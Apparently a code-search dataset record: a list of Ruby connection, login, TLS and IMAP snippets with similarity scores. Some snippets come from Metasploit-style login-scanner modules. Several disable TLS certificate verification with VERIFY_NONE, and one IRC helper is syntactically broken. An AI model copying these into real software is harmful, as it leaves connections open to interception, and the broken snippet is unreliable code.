"def install_ssl_client(logger, options)\n # Since Puppet always looks for the key and cert in a file named after the hostname, determine the\n # hostname here for the purposes of naming the files.\n require 'socket'\n host = Socket.gethostname\n install_ssl_client_cert(logger, host, options[:puppetdb_ssl_client_cert])\n install_ssl_client_key(logger, host, options[:puppetdb_ssl_client_key])\n install_ssl_client_password(logger, options[:puppetdb_ssl_client_password])\n end",
"def start(io)\n # start SSL negotiation\n ssl = OpenSSL::SSL::SSLSocket.new(io, @ctx)\n # connect to server socket\n ssl.accept\n # make sure to close also the underlying io\n ssl.sync_close = true\n # return as new io socket\n return ssl\n end",
"def start(io)\n # start SSL negotiation\n ssl = OpenSSL::SSL::SSLSocket.new(io, @ctx)\n # connect to server socket\n ssl.accept\n # make sure to close also the underlying io\n ssl.sync_close = true\n # return as new io socket\n return ssl\n end",
"def connect_login(global = true)\n ftpsock = connect(global)\n\n\n if !(user and pass)\n print_status(\"No username and password were supplied, unable to login\")\n return false\n end\n\n print_status(\"Authenticating as #{user} with password #{pass}...\")\n res = raw_send_recv(\"a001 LOGIN #{user} #{pass}\\r\\n\")\n\n if (res !~ /^a001 OK/)\n print_status(\"Authentication failed\")\n return false\n end\n\n return true\n end",
"def login (username=\"alien\", password=\"password\")\n\t\tif @connected\n\t\t\tbegin\n\t\t\t\t@sock.write \"#{username}\\r\\n\"\n\t\t\t\treceive()\n\t\t\t\t@sock.write \"#{password}\\r\\n\"\n\t\t\t\ts = receive()\n\t\t\t\t\n\t\t\t\tif s.include? \"Error:\"\n\t\t\t\t\terr_msg = s.scan(/(Error: )(.*)/).flatten[1]\n\t\t\t\t\tclose()\n\t\t\t\t\traise \"Trouble logging in. \" << err_msg\n\t\t\t\t\t@connected = false\n\t\t\t\tend\n\t\t\trescue\n\t\t\t\traise\n\t\t\tend\n\t\tend\n\n\t\treturn @connected\n\tend",
"def _login(meth, *args)\n begin\n @session = _do_call(\"session.#{meth}\", args)\n rescue Errors::HostIsSlave => e\n @uri = @uri.dup\n @uri.host = e.description[0]\n @uris.unshift(@uri).uniq!\n @client = nil\n retry\n end\n\n @login_meth = meth\n @login_args = args\n after_login\n true\n end",
"def connect(host, port, use_ssl = false)\n @socket = TCPSocket.new(host, port.to_i)\n if use_ssl\n @socket = OpenSSL::SSL::SSLSocket.new(@socket)\n @socket.sync_close\n @socket.connect\n end\n read_greeting\n end",
"def authenticated?\n # Hard to check in debugger without causing deadlock\n @imap.connect\n @imap.conn \n end",
"def connect\n auth = authentication_prompt()\n\n socket = TCPSocket.new( @server, @port )\n raise RuntimeError, \"Unable to connect to #{@port}\" unless socket\n print \"Connecting at #{Time.now} to #{@port} ... \"\n\n authenticate_with_server( socket, auth[:u], auth[:p] )\n\n return socket\n end",
"def connect(username, password, server)\n jid = \"#{username}@#{server}\"\n client.setup(jid, password)\n client.run\n end",
"def test_ssl_basic\n client = MongoClient.new('server', 27017, :connect => false,\n :ssl => true)\n assert client.connect\n end",
"def initialize(user, pass, opts={})\n Larch.init :debug, @@ExcludeMailboxes\n uri = URI('imaps://imap.gmail.com')\n uri.user = CGI.escape user\n uri.password = CGI.escape pass\n @imap = Larch::IMAP.new(uri, opts)\n end",
"def connect(username, password, options = {})\n server = options[:server] || Helpers::AuthHelper.read_server\n @server = RestClient::Resource.new server, DEFAULT_LOGIN_PAYLOAD\n\n super\n end",
"def start_tls(req, options)\n return unless req.uri.https? && !failed_proxy_connect?\n\n ssl_context = options.ssl_context\n\n unless ssl_context\n ssl_context = OpenSSL::SSL::SSLContext.new\n ssl_context.set_params(options.ssl || {})\n end\n\n @socket.start_tls(req.uri.host, options.ssl_socket_class, ssl_context)\n end",
"def connect_to_mycroft\n if ARGV.include?(\"--no-tls\")\n @client = TCPSocket.open(@host, @port)\n else\n socket = TCPSocket.new(@host, @port)\n ssl_context = OpenSSL::SSL::SSLContext.new\n ssl_context.cert = OpenSSL::X509::Certificate.new(File.open(@cert))\n ssl_context.key = OpenSSL::PKey::RSA.new(File.open(@key))\n @client = OpenSSL::SSL::SSLSocket.new(socket, ssl_context)\n begin\n @client.connect\n rescue\n end\n end\n end",
"def open_session_with_login\n $system_config ||= load_config(@@SERVER_CONFIG_PATH)\n url = \"#{$system_config.protocol}://#{$system_config.host}:#{$system_config.port}\"\n Util.open_session(url)\n Util.login($system_config.user, $system_config.password)\n end",
"def connect\n\t\tconn = nil\n\n\t\tcase @connect_type\n\t\twhen :tls\n\t\t\tself.log.debug \"Connecting using TLS to %s:%d\" % [ @host, @port ]\n\t\t\tconn = LDAP::SSLConn.new( @host, @port, true )\n\t\twhen :ssl\n\t\t\tself.log.debug \"Connecting using SSL to %s:%d\" % [ @host, @port ]\n\t\t\tconn = LDAP::SSLConn.new( @host, @port )\n\t\telse\n\t\t\tself.log.debug \"Connecting using an unencrypted connection to %s:%d\" % [ @host, @port ]\n\t\t\tconn = LDAP::Conn.new( @host, @port )\n\t\tend\n\n\t\tconn.set_option( LDAP::LDAP_OPT_PROTOCOL_VERSION, 3 )\n\t\tconn.set_option( LDAP::LDAP_OPT_REFERRALS, LDAP::LDAP_OPT_OFF )\n\n\t\treturn conn\n\tend",
"def connect!\n @connection = Net::HTTP.new(@server, 80)\n if @ssl\n @connection.use_ssl = true\n @connection.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n @connection.start\n end",
"def connect\n info \"Connecting to #{ @host }\"\n\n begin @session.open(@credentials)\n rescue Exception => e\n error e.message\n end\n \n info \"Transport is #{ @session.transport.class }\"\n end",
"def login opts={}\n opts = @telnet_options.merge opts\n\n # don't log in if username is not set\n if opts[:username].nil?\n @logged_in = Time.now\n return\n end\n\n begin\n output = waitfor opts[:login_prompt]\n\n if opts[:password]\n # login with username and password\n output << cmd(opts[:username], prompt: opts[:password_prompt])\n output << cmd(opts[:password], hide: true)\n else\n # login with username only\n output << cmd(opts[:username])\n end\n rescue Timeout::Error\n e = LoginFailed.new(\"Timed out while expecting some kind of prompt.\")\n e.set_backtrace $!.backtrace\n raise e\n end\n\n @logged_in = Time.now\n output\n end",
"def check_imap\n puts WmailImapUtils.current_imap.to_s + '##############'\n puts WmailImapUtils.set_connection.to_s\n\n #redirect to login account if not connected\n if not WmailImapUtils.set_connection\n redirect_to authenticate_wmail_accounts_path(:redirect => params),\n :alert => 'Please login to your account'\n end\n end",
"def login(mail, passwd)\n request_body = '&Email='+CGI.escape(mail)+'&Passwd='+CGI.escape(passwd)+'&accountType=HOSTED&service=apps'\n res = request({:method => 'POST', :path => '/accounts/ClientLogin' }, nil, request_body, {'Content-Type'=>'application/x-www-form-urlencoded'})\n return /^Auth=(.+)$/.match(res.to_s)[1]\n # res.to_s needed, because res.class is REXML::Document\n end",
"def setup_ssl\n @connection.use_ssl = @config[:use_ssl]\n\n if @config[:ssl_verify_peer]\n @connection.verify_mdoe = OpenSSL::SSL::VERIFY_PEER\n @connection.ca_file = @config[:ssl_ca_file]\n else\n @connection.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n end",
"def connect!\n com::unboundid::ldap::sdk::LDAPConnection.new(\n self.host, self.port, self.bind_dn, self.password) \n end",
"def open_connection\n if @sslca then\n @db = Mysql2::Client.new(\n host: @host, \n username: @username, \n password: @password, \n port: @port, \n database: @database_name,\n sslca: @sslca)\n else\n @db = Mysql2::Client.new(\n host: @host, \n username: @username, \n password: @password, \n port: @port, \n database: @database_name)\n end\n end",
"def attempt_login(credential)\n ssl = false if ssl.nil?\n\n result_opts = {\n credential: credential,\n status: Metasploit::Model::Login::Status::INCORRECT,\n proof: nil,\n host: host,\n port: port,\n protocol: 'tcp'\n }\n\n if ssl\n result_opts[:service_name] = 'https'\n else\n result_opts[:service_name] = 'http'\n end\n\n http_client = Rex::Proto::Http::Client.new(\n host, port, {}, ssl, ssl_version,\n nil, credential.public, credential.private\n )\n\n http_client = config_client(http_client)\n\n if credential.realm\n http_client.set_config('domain' => credential.realm)\n end\n\n begin\n http_client.connect\n request = http_client.request_cgi(\n 'uri' => uri,\n 'method' => method\n )\n\n response = http_client.send_recv(request)\n if response && response.code == 200\n result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)\n end\n rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error\n result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)\n ensure\n http_client.close\n end\n\n Result.new(result_opts)\n end",
"def connect\n http = Net::HTTP.new @host, @port\n # http.set_debug_output($stdout)\n http.use_ssl = @ssl\n http.start\n http\n end",
"def create_authenticated_connection(options={})\n connect(options)\n server_cookies = options[:cookies]\n connection.merge_cookies!(server_cookies)\n connection.status = :logged_in\n connection\n end",
"def login(login,pass,hash = nil)\n\n #login_from_session_ok = false\n #if (!hash.nil? && hash.length>0)\n #\t@connect = Connect.new\n #\t@id = @connect.login_from_cookie(hash)\n #\tif(!@id)\n #\t\t@connect = nil\n #\telse\n #\t\tlogin_from_session_ok = true\n #\t\t@me = true\n #\tend\n #end\n #unless(login_from_session_ok)\n @connect = Connect.new(login,pass)\n @id = @connect.login\n return @id unless @id\n @me = true\n #end\n\n self\n end",
"def initialize(port)\n @port = port\n\n # Initialize TLS context & connection\n context = OpenSSL::SSL::SSLContext.new\n key = OpenSSL::PKey::RSA.new 2048\n name = OpenSSL::X509::Name.parse 'CN=nobody/DC=ircserver'\n cert = OpenSSL::X509::Certificate.new\n cert.version = 2\n cert.serial = 0\n cert.not_before = Time.now\n cert.not_after = Time.now + (3600 * 24 * 365)\n cert.public_key = key.public_key\n cert.subject = name\n cert.sign key, OpenSSL::Digest::SHA1.new\n context.cert = cert\n context.key = key\n @tcpServer = OpenSSL::SSL::SSLServer.new(TCPServer.new(@port), context)\n\n # The fields in this block are all synchronized by the lock below.\n @client_info_lock = Mutex.new\n @clients = {} # Keys are display names, values are Client objects.\n @rooms = {} # Keys are room names, values are lists of users (Client) in each room.\n end",
"def _connect\n return if @ssl_connected\n\n Error.translate do\n @plaintext_connected ||= super\n return if !@plaintext_connected\n\n # Mark the connection as not connected due to the pending SSL handshake.\n @connected = false\n\n @socket.connect_nonblock\n @ssl_connected = @connected = true\n end\n rescue IO::WaitReadable, IO::WaitWritable, Errno::EINPROGRESS\n rescue Error => e\n close e\n end",
"def connect!(in_user, in_password, in_host)\n begin\n @sa_connection=OpswareClient\n @sa_connection.connect(\"https\".to_java, in_host, port, in_user, in_password, true)\n require 'sasync/hpsa_tools/hpsa_tools'\n extend Sasync::HpsaTools\n rescue NativeException => e\n puts \"Error during connection with error: #{e}\"\n return\n end\n\n self.initialize_framework\n #puts @sa_connection.isConnected\n #puts connection_info\n end",
"def serverssl\n super\n end",
"def connect\n @lock.synchronize do\n return if @started\n @started = true\n @io_reactor.start\n hosts = @host.split(',')\n connection_futures = hosts.map { |host| connect_to_host(host) }\n @connection_ids = Future.combine(*connection_futures).get\n end\n use(@initial_keyspace) if @initial_keyspace\n self\n rescue => e\n close\n if e.is_a?(Cql::QueryError) && e.code == 0x100\n raise AuthenticationError, e.message, e.backtrace\n else\n raise\n end\n end",
"def connect\n addr = Socket.getaddrinfo(@host, nil, Socket::AF_INET)\n sock = Socket.new(Socket.const_get(addr[0][0]), Socket::SOCK_STREAM, 0)\n sock.setsockopt Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1\n\n if @ssl\n sock = OpenSSL::SSL::SSLSocket.new(sock)\n sock.sync_close = true\n end\n\n if @timeout\n secs = Integer(@timeout)\n usecs = Integer((@timeout - secs) * 1_000_000)\n optval = [secs, usecs].pack(\"l_2\")\n sock.setsockopt Socket::SOL_SOCKET, Socket::SO_RCVTIMEO, optval\n sock.setsockopt Socket::SOL_SOCKET, Socket::SO_SNDTIMEO, optval\n end\n\n sock.connect(Socket.pack_sockaddr_in(@port, addr[0][3]))\n sock.post_connection_check(@host) if @ssl and @verify_ssl\n sock\n rescue Errno::EHOSTUNREACH\n raise ConnectionError.new @host, @port\n rescue Errno::ECONNREFUSED\n raise ConnectionError.new @host, @port\n end",
"def connect_login(global = true, verbose = true)\n\t\tircsock = connect(global, verbose)\n\n\t\tres = send_nick(user, ircsock)\n\t\t\n raw_send(\"USER blah blah blah :blah blah\")\n send_user(\"\n sleep 2\n raw_send(\"JOIN #{datastore['CHANNEL']}\")\n\t\t\n\t\treturn true\n\tend\n\n\t#\n\t# This method logs in as the supplied nick by transmitting the IRC\n\t# 'NICK <user>' command.\n\t#\n\tdef send_nick(user, nsock = self.sock)\n\t\traw_send_recv(\"NICK #{user}\", nsock)\n\tend\n\n\t#\n\t# This method sends one command with zero or more parameters\n\t#\n\tdef send_cmd(args, recv = true, nsock = self.sock)\n\t\tcmd = args.join(\" \") + \"\\n\"\n\t\tif (recv)\n\t\t\treturn raw_send_recv(cmd, nsock)\n\t\telse\n\t\t\treturn raw_send(cmd, nsock)\n\t\tend\n\tend",
"def enable_ssl(verify = OpenSSL::SSL::VERIFY_PEER, certs = nil, \n port = SSL_PORT)\n @usessl = true\n @verify = verify\n @certs = certs\n @port = port\n end",
"def initialize(config)\n @host = config.host\n use_ssl = config.use_ssl\n port = config.port\n certs = config.certs\n verify = config.verify\n \n connection = Net::IMAP.new(@host, port, use_ssl, certs, verify)\n \n @greeting_response = connection.greeting_response\n @capabilities = Base::ImapCapabilityArray.new(connection.capabilities)\n \n unless (LOGOUT_NOT_ALLOWED.include?(@host))\n connection.logout\n @bye_response = connection.bye_response\n end\n \n connection.disconnect\n end",
"def authenticate(imap)\n begin\n imap.authenticate('XOAUTH2', @mailbox.email, @access_token.token)\n rescue Net::IMAP::NoResponseError\n @access_token = OAuth2::AccessToken.from_hash(@oauth_client, :refresh_token => @mailbox.refresh_token).refresh!\n \n begin\n imap.authenticate('XOAUTH2', @mailbox.email, @access_token.token)\n rescue Net::IMAP::NoResponseError\n return false\n end\n end\n \n return true\n end",
"def ssl; end",
"def login(satellite_url, satellite_login, satellite_password)\n t = 0\n @client = XMLRPC::Client.new2(satellite_url)\n begin\n @key = @client.call('auth.login', satellite_login, satellite_password, timeout=480)\n rescue EOFError, TimeoutError, RuntimeError => ex\n t += 1\n if t > 3 # Give up after 3 attempts\n puts 'Too many attempts to authenticate. Exiting.'\n exit\n end\n puts \"#{ex.class}, retrying authentication...\"\n retry\n rescue XMLRPC::FaultException\n puts 'Login failed, invalid credentials.'\n exit\n end\nend",
"def connect\n @comm.connect(opts.user, opts.password, opts.server)\n end",
"def test_ssl_basic\n client = create_client(@connect_info, :connect => false, :ssl => true)\n assert client.connect\n end",
"def socket\n connect unless connected?\n @ssl_sock\n end",
"def login(host)\n # Set the timeout to 15 minutes\n @session_timeout = (Time.new.to_i + 900)\n\n login_headers = { 'referer' => \"https://#{@uri.host}/ipa/ui/index.html\", 'Accept' => 'application/json' }\n\n if @method == :keberose\n login_method = 'login_kerberos'\n gssapi = GSSAPI::Simple.new(@uri.host, 'HTTP')\n # Initiate the security context\n token = gssapi.init_context\n login_headers.merge!('Authorization' => \"Negotiate #{Base64.strict_encode64(token)}\", 'Content-Type' => 'application/json')\n login_request = { method: 'ping', params: [[], {}] }\n elsif @method == :user_pass\n login_method = 'login_password'\n login_headers.merge!('Content-Type' => 'application/x-www-form-urlencoded', 'Accept' => 'text/plain')\n login_request = @credentials\n end\n\n login_uri = URI.parse(\"https://#{@uri.host}/ipa/session/#{login_method}\")\n\n resp = @http.post(login_uri, login_request, login_headers)\n\n return unless resp.status != 200\n\n # invalid passowrd could also mean invalid username\n puts \"HTTP #{resp.status.to_s + ':' + resp.reason} Error authenticating user: #{resp.headers['X-IPA-Rejection-Reason']}\"\n end",
"def start_tls(req, options); end",
"def connect!\n @http = Net::HTTP.new(@uri.host, @uri.port)\n if secure?\n @http.use_ssl = true\n if @@ca_path\n @http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n @http.ca_path = @@ca_path\n else\n @http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n end\n end",
"def ssl_auth_opts(opt, conn_params)\n opt.on(\"-E CERT_FILE:PASSWORD\", \"--cert=CERT_FILE:PASSWORD\", \"Use \" +\n \"the specified certificate file for client authentication. If the \" +\n \"optional password is not provided it will be asked for on the \" +\n \"command line. Must be in PEM format.\") do |val|\n cert, cpass = val.chomp.split(\":\", 2)\n conn_params[:client_certificate] = cert\n conn_params[:client_password] = cpass if cpass\n end\n opt.on(\"--cacert=CERT_FILE\", \"Use the specified certificate file to \" +\n \"verify the peer. Must be in PEM format.\") do |val|\n conn_params[:ca_file] = val.chomp\n end\n opt.on(\"--capath=CERTS_PATH\", \"Use the specified certificate \" +\n \"directory to verify the peer. Certificates must be in PEM \" +\n \"format\") do |val|\n conn_params[:ca_path] = val.chomp\n end\n opt.on(\"-k\", \"--insecure\", \"Allow insecure connections: no peer \" +\n \"verification.\") do\n conn_params[:verify_peer] = false\n end\n end",
"def authenticate_connection!\n request(\n :method => :post,\n :path => 'certificates',\n :json => {\n :type => :client,\n :name => name,\n :password => password\n }\n )\n end",
"def conn_start host, port, ssl\n con = Net::HTTP.new(host, port)\n if ssl\n con.use_ssl = true\n con.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n con.start\n if block_given?\n begin\n return yield(con)\n ensure\n con.finish\n end\n end\n con\nend",
"def connect opts\n opts = DefaultOptions.merge opts\n\n params = [\n # for EventMachine.connect\n opts[:host],\n opts[:port],\n self,\n\n # pass the *merged* options to SimpleTelnet#initialize\n opts\n ]\n\n # start establishing the connection\n connection = EventMachine.connect(*params)\n\n # set callback to be executed when connection establishing\n # fails/succeeds\n f = Fiber.current\n connection.connection_state_callback = lambda do |obj=nil|\n @connection_state_callback = nil\n f.resume obj\n end\n\n # block here and get result from establishing connection\n state = Fiber.yield\n\n # raise if exception (e.g. Telnet::ConnectionFailed)\n raise state if state.is_a? Exception\n\n # login\n connection.instance_eval { login }\n\n begin\n yield connection\n ensure\n # Use #close so a subclass can execute some kind of logout command\n # before the connection is closed.\n connection.close unless opts[:keep_alive]\n end\n\n return connection\n end",
"def install_ssl(logger, options)\n return unless options[:puppetdb_ssl_client_cert] || options[:puppetdb_ssl_client_key] || options[:puppetdb_ssl_ca]\n\n # Create directory structure expected by Puppet\n %w(var/ssl/certs var/ssl/private var/ssl/private_keys).each do |dir|\n Dir.mkdir(File.join(@tempdir, dir))\n FileUtils.chmod 0o700, File.join(@tempdir, dir)\n end\n\n # SSL client auth requested?\n if options[:puppetdb_ssl_client_cert] || options[:puppetdb_ssl_client_key]\n raise ArgumentError, '--puppetdb-ssl-ca must be provided for client auth' unless options[:puppetdb_ssl_ca]\n raise ArgumentError, '--puppetdb-ssl-client-cert must be provided' unless options[:puppetdb_ssl_client_cert]\n raise ArgumentError, '--puppetdb-ssl-client-key must be provided' unless options[:puppetdb_ssl_client_key]\n install_ssl_client(logger, options)\n end\n\n # SSL CA provided?\n install_ssl_ca(logger, options) if options[:puppetdb_ssl_ca]\n end",
"def starttls?; end",
"def initialize(host, port, base, username, password, use_ssl)\n @people_base = \"ou=people,#{base}\"\n @group_base = \"ou=groups,#{base}\"\n @ldap_conf = {\n :host => host,\n :port => port,\n :base => @people_base,\n :auth => {\n :method => :simple,\n :username => username,\n :password => password\n }\n }\n\n # enable SSL if n\n if use_ssl.is_a? String then use_ssl = use_ssl.downcase == 'true' ? true : false end\n if use_ssl\n @ldap_conf[:encryption] = { :method => :simple_tls }\n end\n\n # test whether it can bind\n #test_ldap = Net::LDAP.new @ldap_conf\n #raise ldap_ex(test_ldap, \"Could not bind to ldap server.\") if !test_ldap.bind\n end",
"def starttls(value)\n send_text(\"220 2.0.0 TLS go ahead\")\n LOG.info(@mail[:mail_id]) {\"<-> (handshake)\"} if LogReceiverConversation\n conn = @connection.deepclone # save the unencrypted connection in case of error\n begin\n @connection.accept\n @mail[:encrypted] = @encrypted = true\n rescue OpenSSL::SSL::SSLError => e\n # STARTTLS failed: restore the unencrypted connection\n LOG.error(@mail[:mail_id]) {\"Error during STARTTLS: #{e}\"}\n @connection = conn # restore original\n @mail[:encrypted] = @encrypted = false\n return \"500 5.0.0 STARTTLS failed: #{e}\"\n end\n return nil\n end",
"def auth_sequence( port, data, auth_server )\n threads = []\n while session = auth_server.accept\n threads << Thread.new do\n # debug_msg \"\\nReady to accept new connections. Listening on port: #{port}. #{Time.now}\"\n # session = auth_server.accept\n debug_msg \"--- #{session.peeraddr[2]} connected. #{Time.now}\"\n user = get_username( session, data )\n next if user == false\n debug_msg \"--- Received \\\"#{user}\\\" for username. #{Time.now}\"\n salt = send_salt( session, user )\n debug_msg \"--- Sent salt to the client. #{Time.now}\"\n passwd_salty = get_salty_passwd( session )\n debug_msg \"--- Received salty password from the client. #{Time.now}\"\n authenticate?( session, salt, passwd_salty, user, data )\n end\n end\n threads.each { |t| t.join }\n end",
"def enable_ssl(opts); end"
] |
[
"0.7176973",
"0.6581311",
"0.6212626",
"0.61302316",
"0.61192966",
"0.6048977",
"0.59579426",
"0.581526",
"0.5681106",
"0.56092703",
"0.5598857",
"0.5585831",
"0.5579512",
"0.55578923",
"0.55496585",
"0.53788626",
"0.5363819",
"0.5352832",
"0.5330798",
"0.53194284",
"0.5273993",
"0.52720636",
"0.5251017",
"0.521775",
"0.52131814",
"0.52131814",
"0.5194066",
"0.5163791",
"0.51540595",
"0.5139029",
"0.51372856",
"0.5134351",
"0.51325315",
"0.5131985",
"0.5130741",
"0.51099205",
"0.5091623",
"0.50770706",
"0.50549704",
"0.5041403",
"0.5039108",
"0.50259465",
"0.502397",
"0.5015871",
"0.5015831",
"0.5015831",
"0.50137043",
"0.5008562",
"0.49941614",
"0.49749023",
"0.49523646",
"0.49511114",
"0.4948736",
"0.49256417",
"0.49247593",
"0.49019033",
"0.48977253",
"0.48935822",
"0.48873413",
"0.48715672",
"0.4862819",
"0.48426065",
"0.48415992",
"0.48373687",
"0.48264867",
"0.48262343",
"0.48242244",
"0.48105273",
"0.48049328",
"0.48029637",
"0.47960043",
"0.47928157",
"0.47899273",
"0.4784105",
"0.47826675",
"0.47696164",
"0.47529337",
"0.47465336",
"0.47295046",
"0.47220567",
"0.4719057",
"0.4718582",
"0.47159088",
"0.47081333",
"0.4703762",
"0.4693865",
"0.46849167",
"0.46818963",
"0.46796754",
"0.46785796",
"0.46749702",
"0.46732238",
"0.46718293",
"0.46684888",
"0.46666935",
"0.46642932",
"0.46591526",
"0.46437693",
"0.46436557",
"0.46413627"
] |
0.78387976
|
0
|
Finds mailboxes with messages that were selected by the :Boxes option.
|
def find_mailboxes
mailboxes = @imap.list(@root, "*")
if mailboxes.nil? then
log "Found no mailboxes under #{@root.inspect}, you may have an incorrect root"
return []
end
mailboxes.reject! { |mailbox| mailbox.attr.include? :Noselect }
mailboxes.map! { |mailbox| mailbox.name }
@box_re = /^#{Regexp.escape @root}#{Regexp.union(*@boxes)}/
mailboxes.reject! { |mailbox| mailbox !~ @box_re }
mailboxes = mailboxes.sort_by { |m| m.downcase }
log "Found #{mailboxes.length} mailboxes to search:"
mailboxes.each { |mailbox| log "\t#{mailbox}" } if @verbose
return mailboxes
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_messages\n mailbox = @boxes.find { |box| @mailbox =~ /#{box}/ } # TODO: needs more work\n raise unless mailbox\n age = @cleanse[mailbox]\n before_date = (Time.now - 86400 * age).imapdate\n\n search [\n 'NOT', 'NEW',\n 'NOT', 'FLAGGED',\n 'BEFORE', before_date\n ], 'read, unflagged messages'\n end",
"def imap_select_inbox\n imap.select('INBOX')\n end",
"def mailboxes\n if @mailboxes.nil?\n list_mailboxes\n end\n @mailboxes\n end",
"def mailboxes\n if @mailboxes.nil?\n list_mailboxes\n end\n @mailboxes\n end",
"def get_mailboxes\n get(\"mailboxes\")\n end",
"def mailboxes_list\n get \"mailboxes\"\n end",
"def get_mailboxes()\n begin\n mblist = @imap_client.list('', '*')\n rescue => error\n p \"ERROR getting mailboxes: #{error}\"\n return [] \n end\n\n return order_mailboxes(mblist)\n end",
"def all\n get(\"#{domain}/mailboxes\")\n end",
"def check_for_boxes\n @boxes = []\n box_parser_hook = 'rpick_box_parser_hook'\n\n box_parser = Proc.new do |server_string|\n if server_string =~ /\\d+ items displayed/\n DownstreamHook.remove(box_parser_hook)\n elsif server_string =~ Dictionary.box_finder_regex\n box_id = $1\n box_noun = $2\n box_name = $3\n @boxes << { id: box_id, noun: box_noun, name: box_name }\n nil\n else\n nil\n end\n end\n\n DownstreamHook.add(box_parser_hook, box_parser)\n fput \"inv full\"\n end",
"def add_to_inbox__find_user\r\n @other_user = User.active.find_by_login(params[:name])\r\n already_in = @content.inboxes.map(&:id)\r\n @avail_inboxes = @other_user.inboxes.select{|x| !already_in.include?(x.id) && !x.archived? && x.accepts?(@content) && x.is_view_permitted?} if @other_user\r\n end",
"def find(options={}, &block)\n options = validate_options(options)\n\n start do |imap|\n options[:read_only] ? imap.examine(options[:mailbox]) : imap.select(options[:mailbox])\n uids = imap.uid_search(options[:keys], options[:search_charset])\n uids.reverse! if options[:what].to_sym == :last\n uids = uids.first(options[:count]) if options[:count].is_a?(Integer)\n uids.reverse! if (options[:what].to_sym == :last && options[:order].to_sym == :asc) ||\n (options[:what].to_sym != :last && options[:order].to_sym == :desc)\n\n if block_given?\n uids.each do |uid|\n uid = options[:uid].to_i unless options[:uid].nil?\n fetchdata = imap.uid_fetch(uid, ['RFC822', 'FLAGS'])[0]\n new_message = Mail.new(fetchdata.attr['RFC822'])\n new_message.mark_for_delete = true if options[:delete_after_find]\n\n if block.arity == 4\n yield new_message, imap, uid, fetchdata.attr['FLAGS']\n elsif block.arity == 3\n yield new_message, imap, uid\n else\n yield new_message\n end\n\n imap.uid_store(uid, \"+FLAGS\", [Net::IMAP::DELETED]) if options[:delete_after_find] && new_message.is_marked_for_delete?\n break unless options[:uid].nil?\n end\n imap.expunge if options[:delete_after_find]\n else\n emails = []\n uids.each do |uid|\n uid = options[:uid].to_i unless options[:uid].nil?\n fetchdata = imap.uid_fetch(uid, ['RFC822'])[0]\n emails << Mail.new(fetchdata.attr['RFC822'])\n imap.uid_store(uid, \"+FLAGS\", [Net::IMAP::DELETED]) if options[:delete_after_find]\n break unless options[:uid].nil?\n end\n imap.expunge if options[:delete_after_find]\n emails.size == 1 && options[:count] == 1 ? emails.first : emails\n end\n end\n end",
"def user_threads(inboxes, user)\n inboxes.select do |e|\n if e['to'] && e['to']['data']\n contains = e['to']['data'].select { |d| d['id'] == user }\n !contains.empty?\n else\n false\n end\n end\n end",
"def getAllSelectBoxContents(name , formName= \"\" , frameName= \"\")\n # returns true|false, messages, selectedItemsArray\n # selectedItemsArray is an array because we could have a muli-select box\n\n fname = getFunctionName()\n log fname + ' Starting. Trying to find selectbox with name: ' + name.to_s \n o = nil\n container = getObjectContainer( name , formName , frameName )\n container.all.each do |f| \n next unless o == nil\n begin\n if f.name.to_s == name and o == nil \n #log 'Hack:: found the object. Its length is: ' + f.length.to_s\n o = f\n end\n rescue\n # probably has no name if we are here\n end\n end\n if o == nil\n log fname + ' Failed to find the select box with name: ' + name.to_s\n return false, [ OBJECTNOTFOUND ] , nil\n end\n\n\n returnArray = []\n\n o.each do |thisItem|\n returnArray << thisItem.text\n end\n\n return true, [] , returnArray \n\n end",
"def index\n if @box.eql? \"inbox\"\n @conversations = @mailbox.inbox\n elsif @box.eql? \"sent\"\n @conversations = @mailbox.sentbox\n else\n @conversations = @mailbox.trash\n end\n \n @conversations = @conversations.paginate(page: params[:page], per_page: 10)\n end",
"def conversations(options = {})\n scope = MessageCenter::Conversation.participant(messageable)\n scope = scope.where(:message_center_receipts => {:mailbox_type => options[:mailbox_type]}) if options[:mailbox_type]\n scope = scope.merge(MessageCenter::Receipt.not_trash.not_deleted) unless 'trash'==options[:mailbox_type]\n\n if options[:read] == false || options[:unread]\n scope = scope.merge(MessageCenter::Receipt.is_unread)\n end\n\n scope\n end",
"def getSelectBoxSelectedItems(name , frameName= \"\")\n # returns true|false, messages, selectedItemsArray\n # selectedItemsArray is an array because we could have a muli-select box\n\n fname = getFunctionName()\n log \"#{ fname } Starting. Trying to find selectbox with name: #{ name.to_s } in frame #{frameName }\"\n o = nil\n container = getObjectContainer( name , \"\" , frameName )\n container.all.each do |f| \n next unless o == nil\n\n begin\n #log fname + \" got an object: #{f.name.to_s} Type is #{f.invoke(\"type\")} \" if $debuglevel >= 6\n if f.name.to_s == name and o == nil and f.invoke(\"type\").downcase.index(\"select\") != nil\n log fname + \" found the object #{f.name.to_s} Its length is: \" + f.length.to_s if $debuglevel >= 6\n o = f\n end\n rescue => e \n #log fname + ' ' + e.to_s\n # probably has no name if we are here\n end\n end\n if o == nil\n log fname + ' Failed to find the select box with name: ' + name.to_s\n return false, [ OBJECTNOTFOUND ] , nil\n end\n\n index =0\n foundIt = false\n selectedItemsArray = []\n\n o.each do |thisItem|\n if thisItem.selected == true\n log fname + \" Found a selected item. (\" + thisItem.text + \")\" if $debuglevel >= 2\n selectedItemsArray << thisItem.text\n end\n index=index+1\n end\n\n return true, [] , selectedItemsArray\n\n end",
"def search(from,after)\n @mailboxes.each do |mailbox|\n begin\n emails = mailbox.find :from => from,:after => after\n\n emails.reverse.in_groups_of(10,false).each do |group| \n uids = group.map(&:uid)\n fetch_data = @gmail.conn.uid_fetch uids,@imap_key_body\n \n mails = fetch_data.map do |fetch_datum| \n Mail.new CGI.unescapeHTML(fetch_datum.attr[@imap_key_body])\n end \n\n yield mails.reverse if block_given?\n end\n rescue Net::IMAP::NoResponseError \n end\n end #mailboxes\n end",
